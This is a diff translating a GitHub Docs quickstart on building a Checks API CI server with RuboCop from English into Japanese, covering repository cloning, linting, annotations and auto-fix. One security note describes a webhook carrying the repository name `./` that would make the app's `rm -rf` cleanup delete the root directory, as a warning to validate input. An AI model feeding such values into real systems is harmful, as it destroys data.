-Now that you've got the interface created to receive Checks API events and create check runs, you can create a check run that implements a CI test.
+さて、Checks API を受信し、チェック実行を作成するために作ったインターフェースができあがったところで、今度は CI テストを実装するチェック実行を作成しましょう。
 
-Your app will run RuboCop on the CI server and create check runs (CI tests in this case) that report the results that RuboCop reports to GitHub.
+あなたのアプリケーションは CI サーバー上の RuboCop で実行され、結果を RuboCop が GitHub に報告するチェック実行 (ここでは CI テスト) を作成します。
 
-The Checks API allows you to report rich details about each check run, including statuses, images, summaries, annotations, and requested actions.
+Checks API を使用すると、ステータス、画像、要約、アノテーション、リクエストされたアクションなどの、各チェック実行の詳細情報を報告できます。
 
-Annotations are information about specific lines of code in a repository. An annotation allows you to pinpoint and visualize the exact parts of the code you'd like to show additional information for. That information can be anything: for example, a comment, an error, or a warning. This quickstart uses annotations to visualize RuboCop errors.
+アノテーションとは、リポジトリのコードの特定の行についての情報です。 アノテーションを使用すると、追加情報を表示したいコードの部分を細かく指定して、それを視覚化できます。 この情報は、たとえばコメント、エラー、警告など何でも構いません。 このクイックスタートでは、RuboCop のエラーを視覚化するためにアノテーションを使用します。
 
-To take advantage of requested actions, app developers can create buttons in the **Checks** tab of pull requests. When someone clicks one of these buttons, the click sends a `requested_action` `check_run` event to the GitHub App. The action that the app takes is completely configurable by the app developer. This quickstart will walk you through adding a button that allows users to request that RuboCop fix the errors it finds. RuboCop supports automatically fixing errors using a command-line option, and you'll configure the `requested_action` to take advantage of this option.
+リクエストされたアクションを利用するため、アプリケーション開発者はプルリクエストの [**Checks**] タブにボタンを作成できます。 このボタンがクリックされると、そのクリックにより GitHub App に `requested_action` `check_run` イベントが送信されます。 アプリケーションが実行するアクションは、アプリケーション開発者が自由に設定できます。 このクイックスタートでは、RuboCop が見つけたエラーを修正するようユーザがリクエストするためのボタンを追加する方法について説明します。 RuboCop はコマンドラインオプションによるエラーの自動的な修正をサポートしており、ここでは `requested_action` を設定して、このオプションを使用できるようにします。
 
-Let's get started! These are the steps you'll complete in this section:
+さあ、始めましょう！ このセクションでは、以下のステップを完了させます。
 
-1. [Adding a Ruby file](#step-21-adding-a-ruby-file)
-1. [Cloning the repository](#step-22-cloning-the-repository)
-1. [Running RuboCop](#step-23-running-rubocop)
-1. [Collecting RuboCop errors](#step-24-collecting-rubocop-errors)
-1. [Updating the check run with CI test results](#step-25-updating-the-check-run-with-ci-test-results)
-1. [Automatically fixing RuboCop errors](#step-26-automatically-fixing-rubocop-errors)
-1. [Security tips](#step-27-security-tips)
+1. [Ruby ファイルを追加する](#step-21-adding-a-ruby-file)
+1. [リポジトリをクローンする](#step-22-cloning-the-repository)
+1. [RuboCop を実行する](#step-23-running-rubocop)
+1. [RuboCop のエラーを収集する](#step-24-collecting-rubocop-errors)
+1. [CI テスト結果でチェック実行を更新する](#step-25-updating-the-check-run-with-ci-test-results)
+1. [RuboCop のエラーを自動的に修正する](#step-26-automatically-fixing-rubocop-errors)
+1. [セキュリティのヒント](#step-27-security-tips)
 
-## Step 2.1. Adding a Ruby file
+## ステップ 2.1. Ruby ファイルを追加する
 
-You can pass specific files or entire directories for RuboCop to check. In this quickstart, you'll run RuboCop on an entire directory. Because RuboCop only checks Ruby code, you'll want at least one Ruby file in your repository that contains errors. The example file provided below contains a few errors. Add this example Ruby file to the repository where your app is installed (make sure to name the file with an `.rb` extension, as in `myfile.rb`):
+RuboCop がチェックするため、特定のファイルまたはディレクトリ全体を渡すことができます。 このクイックスタートでは、ディレクトリ全体で RuboCop を実行します。 RuboCop がチェックするのは Ruby のコードのみなので、エラーが含まれる Ruby ファイルをリポジトリ内に最低 1 つ置くとよいでしょう。 以下に示すサンプルのファイルには、いくつかのエラーが含まれています。 このサンプルの Ruby ファイルを、アプリケーションがインストールされているリポジトリに追加します (`myfile.rb` などのように、ファイル名には `.rb` の拡張子を必ず付けてください)。
 
 ```ruby
 # The Octocat class tells you about different breeds of Octocat
@@ -304,31 +305,31 @@ m = Octocat.new("Mona", "cat", "octopus")
 m.display
 ```
 
-## Step 2.2. Cloning the repository
+## ステップ 2.2. リポジトリをクローンする
 
-RuboCop is available as a command-line utility. That means your GitHub App will need to clone a local copy of the repository on the CI server so RuboCop can parse the files. To run Git operations in your Ruby app, you can use the [ruby-git](https://github.com/ruby-git/ruby-git) gem.
+RuboCop はコマンドラインユーティリティとして使用できます。 これはつまり、RuboCop がファイルを解析するためには、GitHub App が CI サーバー上のリポジトリのローカルコピーをクローンする必要があるということです。 Ruby アプリケーションで Git の操作を実行するには、[ruby-git](https://github.com/ruby-git/ruby-git) gem を使用できます。
 
-The `Gemfile` in the `building-a-checks-api-ci-server` repository already includes the ruby-git gem, and you installed it when you ran `bundle install` in the [prerequisite steps](#prerequisites). To use the gem, add this code to the top of your `template_server.rb` file:
+`building-a-checks-api-ci-server` リポジトリの `Gemfile` には既に ruby-git gem が含まれており、[必要な環境のステップ](#prerequisites)で `bundle install` を実行した時にインストール済みです。 gem を使用するには、`template_server.rb` ファイルの先頭に次のコードを追加します。
 
 ``` ruby
 require 'git'
 ```
 
-Your app needs read permission for "Repository contents" to clone a repository. Later in this quickstart, you'll need to push contents to GitHub, which requires write permission. Go ahead and set your app's "Repository contents" permission to **Read & write** now so you don't need to update it again later. To update your app's permissions:
+リポジトリをクローンするには、アプリケーションに「リポジトリコンテンツ」の読み取り権限が必要です。 このクイックスタートでは、後ほどコンテンツを GitHub にプッシュする必要がありますが、そのためには書き込み権限が必要です。 先に進んでアプリケーションの [Repository contents] の権限を [**Read & write**] に今すぐ変更してください。そうすれば、後で再び変更する必要がなくなります。 アプリケーションの権限を更新するには、以下の手順に従います。
 
-1. Select your app from the [app settings page](https://github.com/settings/apps) and click **Permissions & Webhooks** in the sidebar.
-1. In the "Permissions" section, find "Repository contents", and select **Read & write** in the "Access" dropdown next to it.
+1. [アプリケーションの設定ページ](https://github.com/settings/apps)からアプリケーションを選択し、サイドバーの [**Permissions & Webhooks**] をクリックします。
+1. [Permissions] セクションで [Repository contents] を見つけて、隣にある [Access] ドロップダウンで [**Read & write**] を選択します。
 {% data reusables.apps.accept_new_permissions_steps %}
 
-To clone a repository using your GitHub App's permissions, you can use the app's installation token (`x-access-token:<token>`) shown in the example below:
+GitHub App の権限を用いてリポジトリをクローンするには、以下の例で示すアプリケーションのインストールトークン (`x-access-token:<token>`) を使用できます。
 
 ```shell
 git clone https://x-access-token:<token>@github.com/<owner>/<repo>.git
 ```
 
-The code above clones a repository over HTTP. It requires the full repository name, which includes the repository owner (user or organization) and the repository name. For example, the [octocat Hello-World](https://github.com/octocat/Hello-World) repository has a full name of `octocat/hello-world`.
+上記のコードは、HTTP 経由でリポジトリをクローンします。 コードには、リポジトリの所有者 (ユーザまたは Organization) およびリポジトリ名を含む、リポジトリのフルネームを入力する必要があります。 たとえば、[octocat Hello-World](https://github.com/octocat/Hello-World) リポジトリのフルネームは `octocat/hello-world` です。
 
-After your app clones the repository, it needs to pull the latest code changes and check out a specific Git ref. The code to do all of this will fit nicely into its own method. To perform these operations, the method needs the name and full name of the repository and the ref to checkout. The ref can be a commit SHA, branch, or tag. Add the following new method to the helper method section in `template_server.rb`:
+アプリケーションがリポジトリをクローンした後は、直近のコード変更をプルし、特定の Git ref をチェックアウトする必要があります。 これら全てを行うコードは、独自のメソッドにするとよいでしょう。 メソッドがこれらの操作を実行するには、リポジトリの名前とフルネーム、チェックアウトする ref が必要です。 ref にはコミット SHA、ブランチ、タグ名を指定できます。 以下の新たなメソッドを `template_server.rb` のヘルパー メソッド セクションに追加します。
 
 ``` ruby
 # Clones the repository to the current working directory, updates the
@@ -347,11 +348,11 @@ def clone_repository(full_repo_name, repository, ref)
 end
 ```
 
-The code above uses the `ruby-git` gem to clone the repository using the app's installation token. This code clones the code in the same directory as `template_server.rb`. To run Git commands in the repository, the code needs to change into the repository directory. Before changing directories, the code stores the current working directory in a variable (`pwd`) to remember where to return before exiting the `clone_repository` method.
+上記のコードでは、`ruby-git` gem を使用して、アプリケーションのインストールトークンを使用するリポジトリをクローンします。 このコードは、`template_server.rb` と同じディレクトリ内のコードをクローンします。 リポジトリで Git コマンドを実行するには、コードをリポジトリのディレクトリに変更する必要があります。 ディレクトリを変更する前に、コードはカレントワーキングディレクトリを変数 (`pwd`) に保存して、戻るべき場所を記憶してから、`clone_repository` メソッドを終了します。
 
-From the repository directory, this code fetches and merges the latest changes (`@git.pull`), checks out the ref (`@git.checkout(ref)`), then changes the directory back to the original working directory (`pwd`).
+このコードは、リポジトリのディレクトリから直近の変更をフェッチしてマージし (`@git.pull`)、ref をチェックアウトし (`@git.checkout(ref)`)、それから元のワーキングディレクトリに戻ります (`pwd`)。
 
-Now you've got a method that clones a repository and checks out a ref. Next, you need to add code to get the required input parameters and call the new `clone_repository` method. Add the following code under the `***** RUN A CI TEST *****` comment in your `initiate_check_run` helper method:
+さて、これでリポジトリをクローンし、ref をチェックアウトするメソッドができました。 次に、必要な入力パラメータを取得するコードを追加し、新しい `clone_repository` メソッドを呼び出す必要があります。 `initiate_check_run` ヘルパー メソッドの、`***** RUN A CI TEST *****` というコメントの下に、以下のコードを追加します。
 
 ``` ruby
 # ***** RUN A CI TEST *****
@@ -362,13 +363,13 @@ head_sha       = @payload['check_run']['head_sha']
 clone_repository(full_repo_name, repository, head_sha)
 ```
 
-The code above gets the full repository name and the head SHA of the commit from the `check_run` webhook payload.
+上記のコードは、リポジトリのフルネームとコミットのヘッド SHA を `check_run` webhook ペイロードから取得します。
 
-## Step 2.3. Running RuboCop
+## ステップ 2.3. RuboCop を実行する
 
-Great! You're cloning the repository and creating check runs using your CI server. Now you'll get into the nitty gritty details of the [RuboCop linter](https://docs.rubocop.org/rubocop/usage/basic_usage.html#code-style-checker) and [Checks API annotations](/rest/reference/checks#create-a-check-run).
+これでうまくいきました。 リポジトリをクローンし、CI サーバーを使用してチェック実行を作成しようという段階にまで到達しました。 それではいよいよ [RuboCop 文法チェッカー](https://docs.rubocop.org/rubocop/usage/basic_usage.html#code-style-checker) と [Checks API アノテーション](/rest/reference/checks#create-a-check-run)の核心に迫ります。
 
-The following code runs RuboCop and saves the style code errors in JSON format. Add this code below the call to `clone_repository` you added in the [previous step](#step-22-cloning-the-repository) and above the code that updates the check run to complete.
+次のコードは、RuboCop を実行し、スタイル コード エラーを JSON フォーマットで保存します。 [前のステップ](#step-22-cloning-the-repository) で追加した`clone_repository` への呼び出しの下と、チェック実行を更新するコードの上に追加して完了です。
 
 ``` ruby
 # Run RuboCop on all files in the repository
@@ -378,23 +379,23 @@ logger.debug @report
 @output = JSON.parse @report
 ```
 
-The code above runs RuboCop on all files in the repository's directory. The option `--format json` is a handy way to save a copy of the linting results in a machine-parsable format. See the [RuboCop docs](https://docs.rubocop.org/rubocop/formatters.html#json-formatter) for details and an example of the JSON format.
+上記のコードは、リポジトリのディレクトリにある全てのファイルで RuboCop を実行します。 `--format json` のオプションは、文法チェックの結果のコピーをコンピューターで読みとることができるフォーマットで保存する便利な方法です。 JSON フォーマットの詳細および例については、[RuboCop ドキュメント](https://docs.rubocop.org/rubocop/formatters.html#json-formatter)を参照してください。
 
-Because this code stores the RuboCop results in a `@report` variable, it can safely remove the checkout of the repository. This code also parses the JSON so you can easily access the keys and values in your GitHub App using the `@output` variable.
+このコードは RuboCop の結果を `@report` 変数に格納するため、リポジトリのチェックアウトを安全に削除できます。 また、このコードは JSON も解析するため、`@output` 変数を使用して GitHub App のキーと変数に簡単にアクセスできます。
 
 {% note %}
 
-**Note:** The command used to remove the repository (`rm -rf`) cannot be undone. See [Step 2.7. Security tips](#step-27-security-tips) to learn how to check webhooks for injected malicious commands that could be used to remove a different directory than intended by your app. For example, if a bad actor sent a webhook with the repository name `./`, your app would remove the root directory. 😱 If for some reason you're _not_ using the method `verify_webhook_signature` (which is included in `template_server.rb`) to validate the sender of the webhook, make sure you check that the repository name is valid.
+**注釈:** リポジトリを削除するコマンド (`rm -rf`) を使用すると、元に戻すことはできません。 [ステップ 2.7. セキュリティのヒント](#step-27-security-tips)で、webhook を調べて、意図したものとは別のディレクトリを削除するためアプリケーションが使用する可能性のある、インジェクションされた悪意あるコマンドがないかを確認する方法について学びます。 例えば、悪意のある人が `./` というリポジトリ名の webhook を送信した場合、アプリケーションはルートディレクトリを削除するかもしれません。 😱 もし、何らかの理由で webhook の送信者を検証するメソッド `verify_webhook_signature` (`template_server.rb` に含まれています) を使用_しない_場合、リポジトリ名が有効であることを必ず確認するようにしてください。
 
 {% endnote %}
 
-You can test that this code works and see the errors reported by RuboCop in your server's debug output. Start up the `template_server.rb` server again and create a new pull request in the repository where you're testing your app:
+このコードが動作することをテストし、サーバーのデバッグ出力で RuboCop により報告されたエラーを確認できます。 `template_server.rb` サーバーを再起動し、以下のコマンドで、アプリケーションをテストする場所のリポジトリに新しいプルリクエストを作成します。
 
 ```shell
 $ ruby template_server.rb
 ```
 
-You should see the linting errors in the debug output, although they aren't printed with formatting. You can use a web tool like [JSON formatter](https://jsonformatter.org/) to format your JSON output like this formatted linting error output:
+デバッグ出力に文法エラーが表示されているはずです。ただし、出力は整形されていません。 [JSON フォーマッター](https://jsonformatter.org/)のような Web ツールを使用すると、JSON 出力の文法エラーの出力を以下のように整形できます。
 
 ```json
 {
@@ -450,17 +451,17 @@ You should see the linting errors in the debug output, although they aren't prin
 }
 ```
 
-## Step 2.4. Collecting RuboCop errors
+## ステップ 2.4. RuboCop のエラーを収集する
 
-The `@output` variable contains the parsed JSON results of the RuboCop report. As shown above, the results contain a `summary` section that your code can use to quickly determine if there are any errors. The following code will set the check run conclusion to `success` when there are no reported errors. RuboCop reports errors for each file in the `files` array, so if there are errors, you'll need to extract some data from the file object.
+`@output` 変数には、RuboCop レポートの解析済み JSON の結果が含まれています。 上記で示す通り、結果には `summary` セクションが含まれており、コードでエラーがあるかどうかを迅速に判断するために使用できます。 以下のコードは、報告されたエラーがない場合に、チェック実行の結果を `success` に設定します。 RuboCop は、`files` 配列内にある各ファイルについてエラーを報告します。エラーがある場合、ファイル オブジェクトからデータを抽出する必要があります。
 
-The Checks API allows you to create annotations for specific lines of code. When you create or update a check run, you can add annotations. In this quickstart you are [updating the check run](/rest/reference/checks#update-a-check-run) with annotations.
+Checks API により、コードの特定の行に対してアノテーションを作成することができます。 チェック実行を作成または更新する際に、アノテーションを追加できます。 このクイックスタートでは、アノテーションを付けて[チェック実行を更新](/rest/reference/checks#update-a-check-run)します。
 
-The Checks API limits the number of annotations to a maximum of 50 per API request. To create more than 50 annotations, you have to make multiple requests to the [Update a check run](/rest/reference/checks#update-a-check-run) endpoint. For example, to create 105 annotations you'd need to call the [Update a check run](/rest/reference/checks#update-a-check-run) endpoint three times. The first two requests would each have 50 annotations, and the third request would include the five remaining annotations. Each time you update the check run, annotations are appended to the list of annotations that already exist for the check run.
+Checks API では、アノテーションの数は API の 1 リクエストあたり最大 50 に制限されています。 51 以上のアノテーションを作成するには、[チェック実行を更新する](/rest/reference/checks#update-a-check-run)エンドポイントに複数回のリクエストを行う必要があります。 たとえば、105 のアノテーションを作成するには、[チェック実行を更新する](/rest/reference/checks#update-a-check-run)エンドポイントを 3 回呼び出す必要があります。 始めの 2 回のリクエストでそれぞれ 50 個のアノテーションが作成され、3 回目のリクエストで残り 5 つのアノテーションが作成されます。 チェック実行を更新するたびに、アノテーションは既存のチェック実行にあるアノテーションのリストに追加されます。
 
-A check run expects annotations as an array of objects. Each annotation object must include the `path`, `start_line`, `end_line`, `annotation_level`, and `message`. RuboCop provides the `start_column` and `end_column` too, so you can include those optional parameters in the annotation. Annotations only support `start_column` and `end_column` on the same line. See the [`annotations` object](/rest/reference/checks#annotations-object-1) reference documentation for details.
+チェック実行は、アノテーションをオブジェクトの配列として受け取ります。 アノテーションの各オブジェクトには、`path`、`start_line`、 `end_line`、`annotation_level`、`message` を含める必要があります。 RuboCop では `start_column` および `end_column` も提供しており、これらのオプションのパラメータをアノテーションに含めることもできます。 アノテーションは、`start_column` と `end_column` を同一の行においてのみサポートしています。 詳細については [`annotations` オブジェクト](/rest/reference/checks#annotations-object-1)のリファレンスドキュメントを参照してください。
 
-You'll extract the required information from RuboCop needed to create each annotation. Append the following code to the code you added in the [previous section](#step-23-running-rubocop):
+各アノテーションを作成するために必要な RuboCop から、必須の情報を抽出します。 [前のセクション](#step-23-running-rubocop)で追加したコードに、次のコードを追加します。
 
 ``` ruby
 annotations = []
@@ -515,21 +516,21 @@ else
 end
 ```
 
-This code limits the total number of annotations to 50. But you can modify this code to update the check run for each batch of 50 annotations. The code above includes the variable `max_annotations` that sets the limit to 50, which is used in the loop that iterates through the offenses.
+このコードでは、アノテーションの合計数を 50 に制限しています。 このコードを、50 のアノテーションごとにチェック実行を更新するよう変更することも可能です。 上記のコードには、制限 を 50 に設定している変数 `max_annotations` が含まれ、これは違反の部分を反復処理するループで使用されています。
 
-When the `offense_count` is zero, the CI test is a `success`. If there are errors, this code sets the conclusion to `neutral` in order to prevent strictly enforcing errors from code linters. But you can change the conclusion to `failure` if you would like to ensure that the check suite fails when there are linting errors.
+`offense_count` が 0 の場合、CI テストは `success` となります。 エラーがある場合、このコードは結果を `neutral` に設定します。これは、コードの文法チェッカーによるエラーを厳格に強制することを防ぐためです。 ただし、文法エラーがある場合にチェックスイートが失敗になるようにしたい場合は、結果を `failure` に変更できます。
 
-When errors are reported, the code above iterates through the `files` array in the RuboCop report. For each file, it extracts the file path and sets the annotation level to `notice`. You could go even further and set specific warning levels for each type of [RuboCop Cop](https://docs.rubocop.org/rubocop/cops.html), but to keep things simpler in this quickstart, all errors are set to a level of `notice`.
+エラーが報告されると、上記のコードは ReboCop レポートの `files` 配列を反復処理します。 コードは各ファイルにおいてファイルパスを抽出し、アノテーションレベルを `notice` に設定します。 さらに細かく、[RuboCop Cop](https://docs.rubocop.org/rubocop/cops.html) の各タイプに特定の警告レベルを設定することもできますが、このクイックスタートでは簡単さを優先し、すべてのエラーを `notice` のレベルに設定します。
 
-This code also iterates through each error in the `offenses` array and collects the location of the offense and error message. After extracting the information needed, the code creates an annotation for each error and stores it in the `annotations` array. Because annotations only support start and end columns on the same line, `start_column` and `end_column` are only added to the `annotation` object if the start and end line values are the same.
+このコードはまた、`offenses` 配列の各エラーを反復処理し、違反の場所とエラー メッセージを収集します。 必要な情報を抽出後、コードは各エラーに対してアノテーションを作成し、それを `annotations` 配列に格納します。 アノテーションは同一行の開始列と終了列のみをサポートしているため、開始行と終了行の値が同じである場合にのみ `annotation` オブジェクトに `start_column` と `end_column` が追加されます。
 
-This code doesn't yet create an annotation for the check run. You'll add that code in the next section.
+このコードはまだチェック実行のアノテーションを作成しません。 それを作成するコードは、次のセクションで追加します。
 
-## Step 2.5. Updating the check run with CI test results
+## ステップ 2.5. CI テスト結果でチェック実行を更新する
 
-Each check run from GitHub contains an `output` object that includes a `title`, `summary`, `text`, `annotations`, and `images`. The `summary` and `title` are the only required parameters for the `output`, but those alone don't offer much detail, so this quickstart adds `text` and `annotations` too. The code here doesn't add an image, but feel free to add one if you'd like!
+GitHub から実行される各チェックには、`output` オブジェクトが含まれ、そのオブジェクトには `title`、`summary`、`text`、`annotations`、`images` が含まれます。 `output` に必須のパラメータは `summary` と `title` のみですが、これだけでは詳細情報が得られないので、このクイックスタートでは `text` と `annotations` も追加します。 ここに挙げるコードでは画像は追加しませんが、追加したければぜひどうぞ。
 
-For the `summary`, this example uses the summary information from RuboCop and adds some newlines (`\n`) to format the output. You can customize what you add to the `text` parameter, but this example sets the `text` parameter to the RuboCop version. To set the `summary` and `text`, append this code to the code you added in the [previous section](#step-24-collecting-rubocop-errors):
+この例では、`summary` は RuboCop からのサマリー情報を利用し、出力を整形するためいくつかの改行 (`\n`) を追加します。 `text` パラメータに何を追加するかはカスタマイズできますが、この例では `text` パラメータを RuboCop のバージョンに設定しています。 `summary` と `text` を設定するには、[前のセクション](#step-24-collecting-rubocop-errors)で追加したコードに、以下のコードを付け加えます。
 
 ``` ruby
 # Updated check run summary and text parameters
@@ -537,7 +538,7 @@ summary = "Octo RuboCop summary\n-Offense count: #{@output['summary']['offense_c
 text = "Octo RuboCop version: #{@output['metadata']['rubocop_version']}"
 ```
 
-Now you've got all the information you need to update your check run. In the [first half of this quickstart](#step-14-updating-a-check-run), you added this code to set the status of the check run to `success`:
+さて、これでチェック実行を更新するために必要な情報がすべて揃いました。 [このクイックスタートの前半](#step-14-updating-a-check-run)では、このコードを追加して、チェック実行のステータスを `success` に設定しました。
 
 ``` ruby
 # Mark the check run as complete!
@@ -550,7 +551,7 @@ Now you've got all the information you need to update your check run. In the [fi
 )
 ```
 
-You'll need to update that code to use the `conclusion` variable you set based on the RuboCop results (to `success` or `neutral`). You can update the code with the following:
+RuboCop の結果に基づいて (`success` または `neutral` に) 設定した `conclusion` 変数を使用するよう、このコードを更新する必要があります。 コードは以下のようにして更新できます。
 
 ``` ruby
 # Mark the check run as complete! And if there are warnings, share them.
@@ -574,48 +575,48 @@ You'll need to update that code to use the `conclusion` variable you set based o
 )
 ```
 
-Now that you're setting a conclusion based on the status of the CI test and you've added the output from the RuboCop results, you've created a CI test! Congratulations. 🙌
+さて、これで CI テストのステータスに基づいて結論を設定し、RuboCop の結果からの出力を追加しました。あなたは CI テストを作成したのです。 おめでとうございます。 🙌
 
-The code above also adds a feature to your CI server called [requested actions](https://developer.github.com/changes/2018-05-23-request-actions-on-checks/) via the `actions` object. {% ifversion fpt or ghec %}(Note this is not related to [GitHub Actions](/actions).) {% endif %}Requested actions add a button in the **Checks** tab on GitHub that allows someone to request the check run to take additional action. The additional action is completely configurable by your app. For example, because RuboCop has a feature to automatically fix the errors it finds in Ruby code, your CI server can use a requested actions button to allow people to request automatic error fixes. When someone clicks the button, the app receives the `check_run` event with a `requested_action` action. Each requested action has an `identifier` that the app uses to determine which button was clicked.
+また、上記のコードは、`actions` オブジェクトを介して CI サーバーに[リクエストされたアクション](https://developer.github.com/changes/2018-05-23-request-actions-on-checks/)という機能も追加しています。 {% ifversion fpt or ghec %}(Note this is not related to [GitHub Actions](/actions).) {% endif %}リクエストされたアクションは、追加のアクションを実行するためにチェック実行をリクエストできるボタンを GitHub の [**Checks**] タブに追加します。 追加のアクションは、アプリケーションが自由に設定できます。 たとえば、RuboCop には Ruby のコードで見つかったエラーを自動的に修正する機能があるので、CI サーバーはリクエストされたアクションボタンを使用して、自動的なエラー修正をユーザが許可することができます。 このボタンをクリックすると、アプリケーションは `requested_action` アクションで `check_run` イベントを受け取ります。 リクエストされた各アクションには、どのボタンがクリックされたかアプリケーションが判断するために使用する `identifier` があります。
 
-The code above doesn't have RuboCop automatically fix errors yet. You'll add that in the next section. But first, take a look at the CI test that you just created by starting up the `template_server.rb` server again and creating a new pull request:
+上記のコードには、まだ RuboCop が自動的にエラーを修正する処理がありません。 この処理については、次のセクションで追加します。 しかしまずは、`template_server.rb` サーバーを再起動して新しいプルリクエストを作成し、さきほど作成した CI テストを見てみましょう。
 
 ```shell
 $ ruby template_server.rb
 ```
 
-The annotations will show up in the **Checks** tab.
+アノテーションは [**Checks**] タブに表示されます。
 
-![Check run annotations in the checks tab](/assets/images/github-apps/github_apps_checks_annotations.png)
+![[Checks] タブのチェック実行アノテーション](/assets/images/github-apps/github_apps_checks_annotations.png)
 
-Notice the "Fix this" button that you created by adding a requested action.
+リクエストされたアクションを追加することにより作成された [Fix this] ボタンに注目してください。
 
-![Check run requested action button](/assets/images/github-apps/github_apps_checks_fix_this_button.png)
+![チェック実行のリクエストされたアクションのボタン](/assets/images/github-apps/github_apps_checks_fix_this_button.png)
 
-If the annotations are related to a file already included in the PR, the annotations will also show up in the **Files changed** tab.
+すでにプルリクエストに含まれているファイルにアノテーションが関連している場合、そのアノテーションは [**Files changed**] タブにも表示されます。
 
-![Check run annotations in the files changed tab](/assets/images/github-apps/github_apps_checks_annotation_diff.png)
+![ファイルが変更されたタブのチェック実行アノテーション](/assets/images/github-apps/github_apps_checks_annotation_diff.png)
 
-## Step 2.6. Automatically fixing RuboCop errors
+## ステップ 2.6. RuboCop のエラーを自動的に修正する
 
-If you've made it this far, kudos! 👏 You've already created a CI test. In this section, you'll add one more feature that uses RuboCop to automatically fix the errors it finds. You already added the "Fix this" button in the [previous section](#step-25-updating-the-check-run-with-ci-test-results). Now you'll add the code to handle the `requested_action` check run event triggered when someone clicks the "Fix this" button.
+ここまで来たのはすごいですよ！ 👏 あなたはもう CI テストを作成しました。 このセクションでは、もう 1 つの機能を追加します。RuboCop を使用して、見つけたエラーを自動的に修正するために使用するための機能です。 すでに[前のセクション](#step-25-updating-the-check-run-with-ci-test-results)で、[Fix this] ボタンを追加しました。 ここでは、ユーザが [Fix this] ボタンをクリックしたときにトリガーされる、`requested_action` チェック実行イベントを処理するコードを追加します。
 
-The RuboCop tool [offers](https://docs.rubocop.org/rubocop/usage/basic_usage.html#auto-correcting-offenses) the `--auto-correct` command-line option to automatically fix errors it finds. When you use the `--auto-correct` feature, the updates are applied to the local files on the server. You'll need to push the changes to GitHub after RuboCop does its magic.
+RuboCop ツールには、見つけたエラーを自動的に修正する `--auto-correct` コマンドラインオプションの [機能](https://docs.rubocop.org/rubocop/usage/basic_usage.html#auto-correcting-offenses) があります。 `--auto-correct` 機能を使用すると、サーバー上のローカルファイルに更新が適用されます。 RuboCop がこの作業をやってのけた後は、その変更を GitHub にプッシュする必要があります。
 
-To push to a repository, your app must have write permissions for "Repository contents." You set that permission back in [Step 2.2. Cloning the repository](#step-22-cloning-the-repository) to **Read & write**, so you're all set.
+リポジトリにブッシュするには、アプリケーションに [Repository contents] への書き込み権限が必要です。 この権限については、[ステップ 2.2. リポジトリをクローンする](#step-22-cloning-the-repository)で既に [**Read & write**] に設定しているので、もう準備は整っています。
 
-In order to commit files, Git must know which [username](/github/getting-started-with-github/setting-your-username-in-git/) and [email](/articles/setting-your-commit-email-address-in-git/) to associate with the commit. Add two more environment variables in your `.env` file to store the name (`GITHUB_APP_USER_NAME`) and email (`GITHUB_APP_USER_EMAIL`) settings. Your name can be the name of your app and the email can be any email you'd like for this example. For example:
+ファイルをコミットするには、どの[ユーザ名](/github/getting-started-with-github/setting-your-username-in-git/)と[メールアドレス](/articles/setting-your-commit-email-address-in-git/)をコミットに関連付けるか Git が知っている必要があります。 `.env` ファイルにあと 2 つの環境変数を追加して、名前 (`GITHUB_APP_USER_NAME`) とメールアドレス (`GITHUB_APP_USER_EMAIL`) の設定を保存します。 アプリケーションにはあなたの名前を付けることもできます。この例では、メールアドレスは何でも構いません。 例:
 
 ```ini
 GITHUB_APP_USER_NAME=Octoapp
 GITHUB_APP_USER_EMAIL=octoapp@octo-org.com
 ```
 
-Once you've updated your `.env` file with the name and email of the author and committer, you'll be ready to add code to read the environment variables and set the Git configuration. You'll add that code soon.
+作者およびコミッターの、名前およびメールアドレスを入力して `.env` ファイルを更新したら、環境変数を読み取るコードを追加し、Git の設定を行う準備が整いました。 このコードは、もうすぐ追加することになります。
 
-When someone clicks the "Fix this" button, your app receives the [check run webhook](/webhooks/event-payloads/#check_run) with the `requested_action` action type.
+ユーザが [Fix this] ボタンをクリックすると、アプリケーションは `requested_action` アクションタイプの [check run webhook](/webhooks/event-payloads/#check_run) を受信します。
 
-In [Step 1.4. Updating a check run](#step-14-updating-a-check-run) you updated the your `event_handler` to handle look for actions in the `check_run` event. You already have a case statement to handle the `created` and `rerequested` action types:
+[ステップ 1.4.  チェック実行を更新する](#step-14-updating-a-check-run)では、`check_run` イベント内の検索アクションを処理するため、`event_handler` を更新しました。 そのため、`created` と `rerequested` のアクションタイプを処理する case 文は既に存在します。
 
 ``` ruby
 when 'check_run'
@@ -630,14 +631,14 @@ when 'check_run'
 end
 ```
 
-Add another `when` statement after the `rerequested` case to handle the `rerequested_action` event:
+`rerequested` の条件の後に、 `rerequested_action` イベントを処理するためもう 1 つ `when` 文を追加します。
 
 ``` ruby
 when 'requested_action'
   take_requested_action
 ```
 
-This code calls a new method that will handle all `requested_action` events for your app. Add the following method to the helper methods section of your code:
+このコードは、アプリケーションのすべての `requested_action` イベントを処理する新しいメソッドを呼び出します。 以下のメソッドをコードのヘルパーメソッドセクションに追加します。
 
 ``` ruby
 # Handles the check run `requested_action` event
@@ -672,11 +673,11 @@ def take_requested_action
 end
 ```
 
-The code above clones a repository just like the code you added in [Step 2.2. Cloning the repository](#step-22-cloning-the-repository). An `if` statement checks that the requested action's identifier matches the RuboCop button identifier (`fix_rubocop_notices`). When they match, the code clones the repository, sets the Git username and email, and runs RuboCop with the option `--auto-correct`. The `--auto-correct` option applies the changes to the local CI server files automatically.
+上記のコードは、[ステップ 2.2.  リポジトリをクローンする](#step-22-cloning-the-repository)で追加したようなコードと同様、リポジトリをクローンします。 `if` 文は、リクエストされたアクションの識別子が、RuboCop ボタンの識別子 (`fix_rubocop_notices`) と一致するかを確認します。 一致する場合、 このコードはリポジトリをクローンし、Git ユーザ名とメールアドレスを設定し、`--auto-correct` オプションを指定して RuboCop を実行します。 `--auto-correct` オプションは、ローカルの CI サーバーファイルに変更を自動的に適用します。
 
-The files are changed locally, but you'll still need to push them to GitHub. You'll use the handy `ruby-git` gem again to commit all of the files. Git has a single command that stages all modified or deleted files and commits them: `git commit -a`. To do the same thing using `ruby-git`, the code above uses the `commit_all` method. Then the code pushes the committed files to GitHub using the installation token, using the same authentication method as the Git `clone` command. Finally, it removes the repository directory to ensure the working directory is prepared for the next event.
